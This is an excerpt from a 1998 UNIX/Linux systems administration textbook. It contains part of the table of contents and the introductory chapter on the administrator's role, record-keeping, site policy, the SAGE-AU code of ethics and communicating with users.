CHAPTER 17 SECURITY.......................................................................................................... 374 INTRODUCTION ........................................................................................................................... 374 WHY HAVE SECURITY? ................................................................................................................ 375 BEFORE YOU START ..................................................................................................................... 376 SECURITY VERSUS CONVENIENCE ................................................................................................. 376 A SECURITY POLICY .................................................................................................................... 376 AUSCERT POLICY DEVELOPMENT ............................................................................................. 377 EVALUATING SECURITY .............................................................................................................. 377 TYPES OF SECURITY THREATS ...................................................................................................... 377 PHYSICAL THREATS ..................................................................................................................... 377 LOGICAL THREATS ...................................................................................................................... 378 HOW TO BREAK IN ....................................................................................................................... 378 SOCIAL ENGINEERING .................................................................................................................. 379 BREAKING INTO A SYSTEM ........................................................................................................... 379 INFORMATION ABOUT CRACKING.................................................................................................. 380 PROBLEMS .................................................................................................................................. 380 PASSWORDS ................................................................................................................................ 380 PROBLEMS WITH /ETC/PASSWD.................................................................................................... 381 SEARCH PATHS ............................................................................................................................ 382 FULL PATH NAMES....................................................................................................................... 383 THE FILE SYSTEM ........................................................................................................................ 384 NETWORKS ................................................................................................................................. 385 TOOLS TO EVALUATE SECURITY .................................................................................................. 386 PROBLEMS WITH THE TOOLS?....................................................................................................... 386 COPS......................................................................................................................................... 386 CRACK ....................................................................................................................................... 387 SATAN ........................................................................................................................................ 387 REMEDY AND IMPLEMENT ........................................................................................................... 388 IMPROVING PASSWORD SECURITY................................................................................................. 388 USER EDUCATION ........................................................................................................................ 388 SHADOW PASSWORDS .................................................................................................................. 389 PROACTIVE PASSWD ..................................................................................................................... 389 PASSWORD GENERATORS ............................................................................................................. 389 PASSWORD AGING ....................................................................................................................... 390 PASSWORD CRACKING ................................................................................................................. 390 ONE-TIME PASSWORDS ................................................................................................................ 390 HOW TO REMEMBER THEM ........................................................................................................... 391 SOLUTIONS TO PACKET SNIFFING .................................................................................................. 391 FILE PERMISSIONS ....................................................................................................................... 392 PROGRAMS TO CHECK.................................................................................................................. 393 TRIPWIRE ................................................................................................................................... 393 DISK QUOTAS .............................................................................................................................. 393 FOR EXAMPLE ............................................................................................................................. 394 DISK QUOTAS: HOW THEY WORK .................................................................................................. 394 HARD AND SOFT LIMITS ............................................................................................................... 394 FIREWALLS ................................................................................................................................. 395 OBSERVE AND MAINTAIN ............................................................................................................. 395 SYSTEM LOGS ............................................................................................................................. 395 TOOLS ........................................................................................................................................ 396 INFORMATION SOURCES .............................................................................................................. 396 CONCLUSIONS............................................................................................................................. 398 REVIEW QUESTIONS .................................................................................................................... 398 CHAPTER 18 TERMINALS, MODEMS AND SERIAL LINES ............................................... 399 INTRODUCTION ........................................................................................................................... 399 HARDWARE ................................................................................................................................ 399 CHOOSING THE PORT ................................................................................................................... 399

David Jones and Bruce Jamieson (15/10/98)

Page 14

85321, Systems Administration

Table of Contents

HARDWARE PORTS ...................................................................................................................... 400 DEVICE FILES .............................................................................................................................. 400 DTE AND DCE........................................................................................................................... 401 TYPES OF CABLE ......................................................................................................................... 402 NULL AND STRAIGHT ................................................................................................................... 402 CABLING SCHEMES ...................................................................................................................... 402 DUMB TERMINALS ....................................................................................................................... 402 PCS AS DUMB TERMINALS ............................................................................................................ 402 CONNECTING TO A UNIX BOX ..................................................................................................... 404 TERMINAL SOFTWARE ................................................................................................................. 406 LINE CONFIGURATION ................................................................................................................. 408 CHANGING THE SETTINGS ............................................................................................................ 408 SPECIAL CHARACTERS ................................................................................................................. 410 TERMINAL CHARACTERISTICS ...................................................................................................... 411 TERMINAL DATABASE.................................................................................................................. 412 TERMCAP ..................................................................................................................................... 412 SUMMARY .................................................................................................................................. 413 MODEMS .................................................................................................................................... 413 THE PROCESS .............................................................................................................................. 413 CONFIGURATION ......................................................................................................................... 415 CONCLUSIONS............................................................................................................................. 416 REVIEW QUESTIONS .................................................................................................................... 417 CHAPTER 19 PRINTERS .......................................................................................................... 418 INTRODUCTION ........................................................................................................................... 418 HARDWARE ................................................................................................................................ 418 CHOOSE A PORT .......................................................................................................................... 418 PARALLEL PRINTERS ON LINUX .................................................................................................... 419 TEST THE CONNECTION ............................................................................................................... 419 UNIX PRINT SOFTWARE .............................................................................................................. 419 PRINT SPOOLER ........................................................................................................................... 420 SPOOL DIRECTORIES .................................................................................................................... 420 PRINT DAEMON ........................................................................................................................... 420 ADMINISTRATIVE COMMANDS...................................................................................................... 420 FILTERS ...................................................................................................................................... 420 LINUX PRINT SOFTWARE .............................................................................................................. 421 OVERVIEW .................................................................................................................................. 421 THE LPR COMMAND ..................................................................................................................... 422 CONFIGURING THE PRINT SOFTWARE ............................................................................................ 422 FILTERS ...................................................................................................................................... 429 CONCLUSIONS............................................................................................................................. 430 REVIEW QUESTIONS .................................................................................................................... 431 INDEX .......................................................................................................................................... 432

David Jones and Bruce Jamieson (15/10/98)

Page 15

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Chapter

The What, Why and How of Sys Admin

A beginning is the time for taking the most delicate care that the balances are correct. -- Frank Herbet (Dune)

Introduction
Systems Administration is one of the most complex, fulfilling and misunderstood professions within the computing arena. Everybody who uses the computer depends on the Systems Administrator doing their job correctly and efficiently. However the only time users tend to give the Systems Administrator a second thought is when the computer system is not working. Very few people, including other computing professionals, understand the complexity and the time-consuming nature of Systems Administration. Even fewer people realise the satisfaction and challenge that Systems Administration presents to the practitioner. It is one of the rare computing professions in which the individual can combine every facet of the computing field into one career. The aim of this chapter is to provide you with some background to Systems Administration so that you have some idea of why you are reading this and what you may learn via this text.

What Systems Administrators do

Systems Administration is an old responsibility gaining new found importance and acceptance as a profession. It has come into existence because of the increasing complexity of modern computer systems and networks and because of the economy's increasing reliance on computers. Any decent size business now requires at least one person to keep the computers running happily. If the computers don't work the business suffers. It can be said that Systems Administrators have two basic reasons for being ensuring that the computing system runs correctly and as efficiently as possible, and ensuring that all users can and do use the computing system to carry out their required work in the easiest and most efficient manner. These two reasons often conflict with one another. Management will wish to restrict the amount of money spent on computer systems. The users on the other hand will always want more disk space and faster CPUs. The System Administrator must attempt to balance these two conflicting aims.

David Jones and Bruce Jamieson (15/10/98)

Page 16

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

The real work required to fulfil these aims depends on the characteristics of the particular computing system and the company it belongs to. Factors that affect what a Systems Administrator needs to do come from a number of categories including: users, hardware and support

Users
Users, your colleagues and workmates that use computers and networks to perform their tasks contribute directly to the difficulty (or ease) of your task as a Systems Administrator. Some of the characteristics of people that can contribute to your job include: How many users are there? Two hundred users are more difficult to help than two users and also require completely different practices. With two, or even ten/twenty, users it is possible to become well known to them and really get to know their requirements. With two hundred, or in some cases two thousand users, this is simply not possible. The level of the user's expertise. This is a combination of the user's actual expertise and their perceived expertise. A user who thinks they know a lot (but doesn't really) can often be more trouble than a user who knows nothing and admits it. Users who know what they know. Picture it. You are a Systems Administrator at a United States Air Force base. The people using your machines include people who fly million dollar weapons of destruction that have the ability to reduce buildings if not towns to dust. Your users are supremely confident in their ability. What do you do when an arrogant, abusive Colonel contacts you saying he cannot use his computer? What do you say when you solve the problem by telling him he did not have it plugged in? What do you do when you have to do this more than once? It has happened. What are the users trying to do? If the users are scientists doing research on ground breaking network technology you will be performing completely different tasks than if your users are all doing word processing and spreadsheets. Are they responsible or irresponsible? Do the users follow the rules or do they make their own? Do the users like to play with the machines? Being the Systems Administrator in a computing department at a University, where the users are computing students who want to play and see how far they can go is completely different from working in a government department, where the users hate computing and only use them when necessary. Who do the users know? A user, who has a 15-year-old, computer nerd son can often be the cause of problems since the son will tell the parent all sorts of things about

David Jones and Bruce Jamieson (15/10/98)

Page 17

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

computers and what can be done. Very few people have an appreciation of the constraints placed on a Systems Administrator and the computers under their control. Looking after a home PC is completely different to managing a collection of computers at a place of work.

Hardware/Software
The computers, software, networks, printers and other peripherals that are at a site also contribute to the type and amount of work a Systems Administrator must perform. Some considerations include: How many, how big and how complex? Once again greater numbers imply more work. Also it may be more work looking after a network of Windows NT machines than a collection of Windows 3.1 computers. Some sites will have supercomputers, which require specialised knowledge. Is there a network? The existence of a network connecting the machines together raises additional problems and further increases the workload of the Systems Administrator. Are the computers heterogenous or homogenous? Is the hardware and software on every machine the same, or is it different. A great variety in hardware and software will make it much more difficult to manage, especially when there are large numbers. The ability to specify a standard for all computers, in both hardware and software, makes the support job orders of magnitude easier.

Support
One other area, which makes a difference to the difficulty of a job as a Systems Administrator, is the level of support in the form of other people, time and resources. The support you do (or dont) receive can take many forms including: Are you alone? At some sites there is one administrator who does everything from installing peripherals, fixing computers, doing backups, helping users find the enter key and a range of other tasks. At other sites these tasks are split amongst a range of administrators, operators and technicians. Are you a full time administrator? In some cases the administrator looks after the machines in addition to performing their "real job". What are the feelings of staff and management towards the Systems Administrators? In many companies the management and staff see Systems Administrators or other computer support people as overhead. This impression of Systems Administrators as an unnecessary expense influences how the users will act. Similar feelings can occur if previous Systems Administrators have been unprofessional or unable to perform their jobs.

David Jones and Bruce Jamieson (15/10/98)

Page 18

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

What Systems Administrators need to know

The short and sweet answer is that to be a really good Systems Administrator you need to know everything about the entire computer system including the operating system, hardware, software, users, management, network and anything else you can think of that might affect the system in any way. Failing that lofty aim the System Administrator must have the ability to gain this all-encompassing knowledge. The discovery process may include research, trial and error, or begging. The abilities to learn and problem solve may well be the two most important for a Systems Administrator. At some time during their career a Systems Administrator will make use of knowledge from the following (far from exhaustive) list of fields, both computing and non-computing: programming, Systems Administrators have to be able to program. They might have to write scripts that automate regular tasks or a Visual Basic program to help users perform certain tasks. hardware maintenance and installation, This may range from installing new hardware to cleaning old hardware so that it continues to work. documentation and testing, Human Computer Interface, networks and computer communication, user education, diplomacy, legal issues and contracts, detective work, management and policy setting, and public relations. Reading The Systems Administrators Guild (SAGE, http://www.usenix.org/sage/) is a professional association for Systems Administrators. SAGE has developed a job description booklet that helps describe what Systems Administrators do and what they need to know. A summary of this book is available from the 85321 Web site/CD-ROM under the Resource Materials section for week 1. This text and the unit 85321 aim to develop Junior Systems Administrators as specified in the SAGE job descriptions booklet, without the 1 to 3 years experience.

David Jones and Bruce Jamieson (15/10/98)

Page 19

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Why UNIX?
Some parts of Systems Administration are independent of the type of computer being used, for example handling user complaints and getting on with management. However by necessity there is a great deal of complex platform dependent knowledge that a Systems Administrator must have in order to carry out their job. One train of thought is that it is impossible to gain a full understanding of Systems Administration without having to grapple with the intricacies of a complex computer system. This text has been written with the UNIX operating system in mind as the main computing platform. In particular this text has been written with the Linux operating system (RedHat version 5.0), a version of UNIX that runs on IBM PC clones, in mind. It is necessary to have access to the root password of a computer running RedHat version 5.0 to get the most benefit from this book. It may be possible to do some of the activities with another version of UNIX. The reasons for choosing UNIX, and especially Linux, over any of the other available operating systems include UNIX has a long history both in industry and academia. Knowing UNIX is more likely to help your job prospects than hinder them. UNIX is one of the current industry buzzwords. It is hardware independent. Linux is free and runs on a cheap, popular type of computer. Just as there are advantages in using UNIX there are also disadvantages. "My Operating System is better than yours" is a religious war that I don't want to discuss here.

UNIX past, present and future

The history of UNIX is an oft-told tale and it is sometimes hard to pick the right version. The story has been told many ways and the following is one version. Being aware of the history can provide you with some insight into why certain things have been done the way they have Unix History These readings are on the 85321 Web site (or CD-ROM) under the Resource Materials section for week 1. At the current point in time it appears that UNIX has ensconced itself into the following market niches server operating system, and Machines running UNIX are acting as file servers and network servers for local area networks (LANs) of smaller client machines (running MS-DOS, Windows, or Macs).

David Jones and Bruce Jamieson (15/10/98)

Page 20

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

workstation operating system. Workstations are nominally powerful computers usually used by a single user. Engineers, scientists and other people who require a lot of computing power generally use them. Both these roles are being challenged by the arrival of new operating systems like Windows NT.

Linux
This book has been specifically written to centre on the Linux operating system. Linux was chosen because it is a free, complete version of the UNIX operating system that will run on cheap, entry level machines. The following reading provides you with some background into the development of Linux. Linux: What is it and a history These readings are available on the 85321 Web site (or CD-ROM) under the Resource Materials section for week 1.

Some more Sys Admin theory

Systems Administration is not a responsibility specific to the UNIX operating system. Any company that relies on computers must have Systems Administrators. They may not call them Systems Administrators but studies have shown that it is cheaper to have a full time professional maintaining a company's computers than it is to expect the computer users perform the same tasks. Many of the tasks of Systems Administration are not platform specific. For example a recent survey of Systems Administrators found that 37% of an administrator's time is spent helping users. This chapter examines some of the important platform independent tasks that a Systems Administrator must perform. Any Sys Admin that ignores these tasks is going to be in trouble very quickly. For the purposes of this chapter these tasks have been divided up into four categories daily operations, hardware and software, interacting with people, and administration and planning.

Daily operations
There are a number of tasks that must be done each day. Some of these tasks are in response to unexpected events, a new user or a system crash, while others are just standard tasks that must be performed regularly.

David Jones and Bruce Jamieson (15/10/98)

Page 21

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Automate, automate and automate

A priority for a Systems Administrator must be to automate any task that will be performed regularly. Initially automation may take some additional time, effort and resources but in the long run it will pay off. The benefits of automation include no need to reinvent the wheel, Everytime you need to perform the task you don't have to remember how to do it. it is much simpler, it can be delegated, If the task is simple it can be delegated to someone with less responsibility or it can be completely automated by using the scheduling capabilities of cron (introduced in a later chapter). For example Obvious examples for automation include adding and removing users, performing backups, and checking disk usage.

System monitoring
This responsibility entails keeping an eye on the state of the computers, software and network to ensure everything is working efficiently. Characteristics of the computer and the operating system that you might keep an eye include resource usage, what people are doing, whether or not the machines normal operations are working. Resource usage The operating system and the computer have a number of different resources including disk space, the CPU, RAM, printers and a network. One indication of problems is if anyone person or process is hogging one of these resources. Resource hogging might be an indication of an attack. Steps that might be taken include killing the process that is hogging the resource, changing the process' priorities, getting more of the required resource.

David Jones and Bruce Jamieson (15/10/98)

Page 22

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

What are people doing? As the Systems Administrator you should be aware of what is normal for your site. If the managing director only ever connects between 9 to 5 and his account is currently logged in at 1 in the morning then chances are there is something wrong. Its important not only to observe when but what the users are doing. If the secretary is all of a sudden using the C compiler then there's a good chance that it might not be the secretary. Normal operations Inevitably there will be problems with your system. A disk controller might die, a user might start a run away process that uses all the CPU time, and a mail bounce might result in the hard-drive filling up or any one of millions of other problems. Some of these problems will adversely effect your users. Users will respect you more if they don't have to tell you about problems. Therefore it is important that you maintain a watch on the more important services offered by your computers. You should be watching the services that the users use. Statistics about network, CPU and disk usage are no good when the problem is that the users can't send email because of a problem in the mail configuration. You need to make sure that the users can do what they normally do.

Hardware and software

Major tasks that must be performed with both hardware and software include evaluation, Examining different packages and deciding which is the best for your company's purpose. purchase, Actually obtaining the software, spending the money and signing the contracts. installation, Placing the hardware or software onto your system and making it available to the appropriate users. testing and maintenance, Making sure the equipment works and keeping it working. upgrading, Modifying the product to a later version. phasing out. Removing the product from use at your company. At many companies the Systems Administrator may not have significant say in the evaluation and purchase of a piece of hardware or software. This causes

David Jones and Bruce Jamieson (15/10/98)

Page 23

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

problems because hardware or software is purchased without any consideration of how it will work with existing hardware and software.

Evaluation
It's very hard to convince a software vendor to allow you to return a software package that you've opened, used but found to be unsuitable. The prospect of you making a copy means that most software includes a clause that once you open a packet you own the software and your money won't be refunded. However most vendors recognise the need to evaluate software and supply evaluation versions. These evaluation versions either are a stripped down version with some features turned off, or contain time bomb that makes the package useless after a set date.

Purchase
Under UNIX there are basically two types of software commercial software, or shareware, public domain or free software. Commercial UNIX software will come with the standard agreements and may also include a user limit. The software might be able to be used by 4 or 5 users simultaneously. Most commercial software is managed by licensing software that controls how many copies are being used. As part of the purchase you will receive license numbers that govern how the software may be used. It must be remembered that free software is never free. It still requires time to install, maintain and train users. All this can add up. Some free software can be incredibly easy to install and maintain.

Installation
Most sites will have a policy that covers how and where software must be installed. Some platforms also have software that makes the installation procedure much simpler. It is a very good idea to keep local software separate from the operating system distribution. Mixing them up leads to problems in future upgrades. Under Linux and many other modern Unices it is common practice to install all software added locally under the directory /usr/local. There will be more on software installation in a later chapter.

Hardware
At some sites you may have technicians that handle most of the hardware problems. At some sites the Systems Administrator may have to everything from preparing and laying cable through to fixing the fax machine. Either way a Systems Administrator should be capable of performing simple hardware

David Jones and Bruce Jamieson (15/10/98)

Page 24

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

related tasks like installing hard drive and various expansion cards. This isn't the subject to examine hardware related tasks in detail. The following however does provide some simple advice that you should keep in mind. Static electricity Whenever you are handling electrical components you must be aware of static electricity. Static can damage electrical parts. Whenever handling such parts you should be grounded. This is usually achieved by using a static strap. You should be grounded not only when you are installing the parts but at anytime you are handling them. Some people eagerly open packages containing these parts without being grounded. Powering down and wiggling Many hardware faults can be fixed by turning the system off (powering down) and either pushing on the offending card or SIMM (wiggling). Sometimes connectors get dirty and problems can be fixed by cleaning the contacts with a soft pencil eraser (in good condition). Prevention Regular maintenance and prevention tasks can significantly reduce the workload for a Systems Administrator. Some of the common prevention tasks may include ensuring that equipment has a clean, stable power supply, Using power conditioners or uninterruptable power supplies (UPS) to prevent power spikes damaging equipment. ensuring equipment is operating at appropriate temperatures, Make sure that the power vents are clean and unblocked and that air can actually circulate through the equipment. some equipment will need regular lubrication or cleaning, making sure that printers are clean and have sufficient toner, ink etc.

Administration and planning

This is a task that often receives less attention than others. However it is an essential task that can critically effect your performance as a Systems Administrator. One of the most important aims for a Systems Administrator is to be pro-active rather than reactive. It's very hard for your users to respect you if you are forever badly organised and show no planning ability. Important components of administration and planning include documentation, Both for yourself, the users and management. time management, This is an essential ability for a Systems Administrator who must balance a small amount of time between a large number of simultaneous tasks.
David Jones and Bruce Jamieson (15/10/98) Page 25

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

policy, There must be policy on just about everything at a site. Having policies that have been accepted by management and hopefully the users is essential. self-education, Computing is always changing. A Systems Administrator must keep up with the pack. planning, What are the aims for your site and yourself for the next 12 months? What major events will happen for which you must prepare? automation, and Anything that can be should be automated. It makes your job easier and gives you more time to do other things. financial planning and management.

Documentation
Documentation is the task that most computing people hate the most and yet is one of the most important tasks for a Systems Administrator. In this context documentation is more than just documentation for users showing them how to use the system. It includes keeping a log book that records all changes made to the system, keeping records and maps of equipment, their location, purchase details etc, Where all the cables are in your building. Which cables connect where. Where are all the machines physically located. labelling hardware, When you are performing maintenance on computers you will need to know information like the type of hard drive controller, number and size of disks, how they are partitioned, hostnames, IP addresses, names of peripherals, any special key strokes or commands for the machine (e.g. how to reset the computer) and a variety of other information. Having this information actually on the machine can make maintenance much easier. producing reports, Producing reports of what you are doing and the functioning of the machines is extremely important and will be discussed in more detail later. taking minutes at meetings, and Chances are you will have to attend meetings. Organising, running and recording the minutes of a meeting are all essential skills. producing documentation on how to use the systems at your site. The standard type of documentation required by both users and other Systems Administrators. Why keep records? It is not unusual for a Systems Administrator to spend two to three days trying to fix some problem that requires minor changes to obscure files hidden away in the dim, dark recesses of the file hierarchy. It is not unusual for a problem of this sort to crop up unexpectedly every six to twelve months.

David Jones and Bruce Jamieson (15/10/98)

Page 26

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

What happens if the Systems Administrator didn't record the solution? Unless he or she is blessed with a photographic memory there is liable to be another two to three days lost trying to fix the problem. Records of everything done to the system must be kept and they must be accessible at all times. What type of records? It is typical for a Systems Administrator and/or a computer site to maintain some type of logbook. There is no set format to follow in keeping a logbook. There are two basic types of logbooks that are used. electronic, or Log information is stored using some type of program or by simply creating a file. paper based. Some form of book or folder in which entries are written by hand. Table 1.1. compares these two forms of logbook. Electronic For Against easy to update and if the machine is search down there is no access to the log easy to include can be hard to command output include diagrams
Ele c tr o nic

Paper For Against less prone to harder to update machine down time and search can be carried around
Table 1 .1 . v e r sus pape r lo g

can become messy and hard to read

bo o ks

What to record? Anything that might be necessary to reconstruct the current state of the computing system should be stored. Examples of necessary information might include copies of policy regarding usernames, directory structure etc, Your site might have a set way of assigning usernames or particular locations in which certain types of files need to be placed. diagrams of the physical connections and layout of the machines and network, Any information required to reconstruct your system, for example CMOS settings on an IBM PC. a copy of a full listing of the device directory, The /dev directory is likely to contain information specific to your machine. If this directory is trashed having a copy in your logbook will enable you to reconstruct it. copies of major configuration files, daily modifications to configuration or other files, lists of useful commands, and solutions to common problems.
David Jones and Bruce Jamieson (15/10/98) Page 27

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Example Log Book Layout The type of information recorded will depend on your responsibilities and the capabilities of your site. There might be someone else who looks after the physical layout of the network leaving you to worry about your machine. It is possible that a logbook might be divided into separate sections. The sections might include configuration information, Listings of the device directory, maps of network and cabling information, and any other static information about the system policy and procedure, A section describing the policy and procedures of the particular machine (usernames, directory locations etc). useful commands, and A list of commands or hints that you've come across that are useful and you would like to remember. daily modifications. The daily modifications made to the system in the normal course of events. The main reason to store this information is so that you have a record of what is being done to your system. Each entry in a logbook should contain information about time, date, reason for the change, and who made the change. If you intend using a paper based logbook then one suggestion is to use a ring binder. Using a ring binder you can add pages to various sections if they start to fill up.

Policy
Think of the computer systems you manage as an environment in which humans live and work. Like any environment, if anarchy is not to reign supreme then there must exist some type of behavioural code that everyone lives by. In a computer system this code is liable to include such things as a single person shall not hog all the resources (disk, cpu etc), users who work for accounting have xyz access, those who work for research have zyx access, and no-one should endeavour to access areas in which they are not allowed.

Penalties
A set of rules by themselves is not enough. There must also exist a set of penalties to be applied if one of the policies is broken, a person(s) charged with detecting the breaking of policy, a person(s) charged with deciding the appropriate policy, a mechanism for the change of policy and penalties, and a mechanism for informing users of the policy and the penalties.

David Jones and Bruce Jamieson (15/10/98)

Page 28

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

If any one of these necessary components is missing the system may not work to the best of its ability. It is essential that every computer site have widely recognised and accepted policies. The existence of policies ensure consistent treatment of all cases. Policies provide guidelines of what to do in particular cases and what to do if the policies are broken.

Types of Policy
The types of policies you might want to have include the level of service you provide, What operating systems, software etc that you can and will support. What services you provide your users. When will the Systems Administrators or help desk available. the rights and responsibilities of the users, and What they can and can't do. What happens if they break those rules. the rights and responsibilities of the administrators. An often over looked policy. Should Systems Administrators look at other people's mail?

Creating policy
Creating policy should include many of the following steps examination of what other similar sites have in the way of policy, widespread involvement of users, management and Systems Administrators in the development of policy, acceptance of policy by management, and checking of the policy by lawyers.

Code of ethics
As the Systems Administrator on a UNIX system you have total control and freedom. All Systems Administrators should follow some form of ethical conduct. The following is a copy of the SAGE-AU Code of Ethical Conduct. The original version is available on the Web at http://www.sageau.org.au/ethics.html.

SAGE-AU code of ethics

In a very short period of time computers have become fundamental to the organisation of societies world-wide; they are now entrenched at every level of human communication from government to the most personal. Computer systems today are not simply constructions of hardware -- rather, they are generated out of an intricate interrelationship between administrators, users, employers, other network sites, and the providers of software, hardware, and national and international communication networks.

David Jones and Bruce Jamieson (15/10/98)

Page 29

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

The demands upon the people who administer these complex systems are wideranging. As members of that community of computer managers, and of the System Administrators' Guild of Australia (SAGE-AU), we have compiled a set of principles to clarify some of the ethical obligations and responsibilities undertaken by practitioners of this newly emergent profession. We intend that this code will emphasise, both to others and to ourselves, that we are professionals who are resolved to uphold our ethical ideals and obligations. We are committed to maintaining the confidentiality and integrity of the computer systems we manage, for the benefit of all of those involved with them. No single set of rules could apply to the enormous variety of situations and responsibilities that exist: while system administrators must always be guided by their own professional judgment, we hope that consideration of this code will help when difficulties arise. (In this document, the term "users" refers to all people with authorised access to a computer system, including those such as employers, clients, and system staff.)

SAGE-AU code of ethics

As a member of SAGE-AU I will be guided by the following principles:
Fair Treatment I will treat everyone fairly. I will not discriminate against anyone on grounds such as age, disability, gender, sexual orientation, religion, race, or national origin. Privacy I will access private information on computer systems only when it is necessary in the course of my duties. I will maintain the confidentiality of any information to which I may have access. I acknowledge statutory laws governing data privacy such as the Commonwealth Information Privacy Principles. Communication I will keep users informed about computing matters that may affect them -- such as conditions of acceptable use, sharing of common resources, maintenance of security, occurrence of system monitoring, and any relevant legal obligations. System Integrity I will strive to ensure the integrity of the systems for which I have responsibility, using all appropriate means -- such as regularly maintaining software and hardware; analysing levels of system performance and activity; and, as far as possible, preventing unauthorised use or access. Cooperation I will cooperate with and support my fellow computing professionals. I acknowledge the community responsibility that is fundamental to the integrity of local, national, and international network resources. Honesty I will be honest about my competence and will seek help when necessary. When my professional advice is sought, I will be impartial. I will avoid conflicts of interest; if they do
David Jones and Bruce Jamieson (15/10/98) Page 30

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

arise I will declare them. Education I will continue to update and enhance my technical knowledge and management skills by training, study, and the sharing of information and experiences with my fellow professionals. Social Responsibility I will continue to enlarge my understanding of the social and legal issues that arise in computing environments, and I will communicate that understanding to others when appropriate. I will strive to ensure that policies and laws about computer systems are consistent with my ethical principles. Workplace Quality I will strive to achieve and maintain a safe, healthy, productive workplace for all users.

People skills
The ability to interact with people is an essential skill for Systems Administrators. The type of people the Systems Administrator must deal with includes users, management, other Systems Administrators and a variety of other people. The following reading was first published in "The Australian Systems Administrator" (Vol 1, Issue 2, June/July 1994) the bimonthly newsletter of the Systems Administrators Guild of Australia (SAGE-AU). It provides an example of how a real-life System Administrator handles user liaison.

Communicating with Users

Copyright Janet Jackson Next to balancing conflicting demands, communicating with users is the hardest part of my job. I tend to make a great effort for little gain, whereas in technical endeavours a little effort can produce a major, long-lasting improvement (for example, taking ten minutes to set up regular, automated scratch area cleanups has saved me hours of tedious work and the users a lot of frustration). Also, with users there are emotions to take into account. It doesn't matter whether the computer respects you, but if the users respect you life is a lot easier. My aim in communicating with users is to make life (my job and those of the users) easier by: getting them to respect me (my judgment; my abilities; my integrity and professionalism). teaching them all sorts of things, such as how to remove jobs from the printer queue; what they have to do to keep the systems secure; and when not to interrupt me with questions.

David Jones and Bruce Jamieson (15/10/98)

Page 31

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

In this column I'm going to describe some of the communication vehicles I've tried, and how effective they've been for me. I'll start with those I've found least effective overall, and work my way up. Probably the method most useless with the general user community is the policy statement. The typical user just isn't going to read it. However, it can be a good way of communicating with management. Drafting a good policy statement (based on discussions with everyone, but especially with them) shows you mean business and understand how your work fits into the organisation. It should cover the responsibilities of the systems administrator as well as those of the users. Group meetings, whether of the users in general or of a committee of representatives, can help people -- again, especially senior people -- feel more confident that things are going OK, but aren't much use for disseminating information. If a meeting is run well you can have a productive discussion of major issues, but if run badly it is likely to turn into a gripe session. Paper memos are to be avoided, because they encourage stiffness and formality. I use them only to answer other people's paper memos (which are usually complaints) and then only when I don't think the person will read it if I do it by email. Replying by email to a memo has the effect of saying "There's no need to be so formal". There are a number of leading-the-horse-to-water methods, which only work if the user makes an effort. You can use electronic information services, such as bulletin boards, newsgroups, Gopher, or online manuals; and you can get together a library of printed manuals and books. If you provide easy access to high-quality information, the interested user can learn a lot. Unfortunately it's often the disinterested user that you really want to reach. People often come to my office to ask me things. You'd think that face-to-face communication would work the best, but in this particular setting it doesn't because I am not comfortable. It's not so much that I resent interruptions -- it's that I don't have an office, only a desk. There's no room for a visitor's chair; to talk to anyone I have to swivel round and face backwards; and people make a habit of sneaking up on me. Hopefully, one day my campaign for proper accommodation will be successful, and it will be interesting to see how much difference it makes. Talking on the phone is only good for emergencies. Someone is always interrupted; there's no body language; and you tend to forget half of what you wanted to say. I write a column, "Computer Corner", in our staff newsletter. I sometimes write about issues (such as what I'm trying to achieve) and sometimes about technical tips. This column isn't as useful as I'd hoped. The first problem is that there isn't room to say much, because the newsletter is short and a bit, shall we say, irregular. The second problem is that the rest of the newsletter tends to be kind of dull (lists of visitors; dry field-trip reports; the occasional births and deaths) so people aren't so eager to read it. When I pointed this out I was told that it is deliberately impersonal and non-funloving because some of the more senior readers are rather easily offended. Sigh.
David Jones and Bruce Jamieson (15/10/98) Page 32

85321, Systems Administration

Chapter 1: The What, Why and How of Sys Admin

Next on the scale are signs (on doors, noticeboards, etc) and electronic messages-of-the-day. People have a strong tendency to miss the former and ignore the latter. It may help to make them more interesting with graphics, pictures and human-interest items. Seminars and workshops are worthwhile if you can get people to attend, but they're a lot of work. If not many turn up, you don't get much return on your investment. Students can sometimes be induced to attend by making it count towards their marks. In other situations, offering food, door prizes, alcohol, sex, drugs or rock-n-roll may help. For explaining specific information (how to pick a good password; how UNIX file permissions work) I've found paper handouts reasonably effective. Some users take them quite seriously, even filing them for later reference. Unfortunately, others toss them straight in the bin. After about 3 months in my current job I emailed everyone a questionnaire, asking such things as what they used the systems for, what new services they would like to see, and how often they did backups. I offered a chocolate frog to each person who replied. The subject line "Apply here for your FREE chocolate frog" caused some of the more pokerfaced members of staff to delete the mail without reading it, but otherwise the response was surprisingly good. In hindsight, I guess the questionnaire generated more PR than information, although it did confirm my suspicion that most people did not back up their data even though they were supposed to. For me, the second most effective communication vehicle is email. Email is as informal as a personal visit or phone call, but you can get in a lot more information. It is also asynchronous: no-one has to be interrupted, and you don't have to wait for people to be available. I often use email broadcasts for notification -- to tell people about impending downtime, for example. Email is quick, convenient, and reaches people who are working offsite. It is also informal and I think people feel more at ease with it than they do with paper memos and printed signs. 1-to-1 email gives people a sense of personal service without much of the hassle that normally entails. At my site people can email problem reports and questions to a special address, "computerhelp". Our stated aim is to respond within 2 working days. We don't always make it. But it does give people a point of contact at all times, even after hours, and it means we get a few less interruptions. You'd think all of that might be enough, but no. My boss said, "You need to communicate more with the users, to tell them about what you're doing". I agreed with him. So I now produce a fortnightly emailed bulletin. It is longer and more formal than a typical email message, with headings and a table of contents. Most of the information in it is positive -- new software that we've installed, and updates on our program of systems improvements. I also include a brief greeting and a couple of witty quotations. Judging by the feedback I've received, this seems to be working remarkably well -- much better than the staff newsletter column.

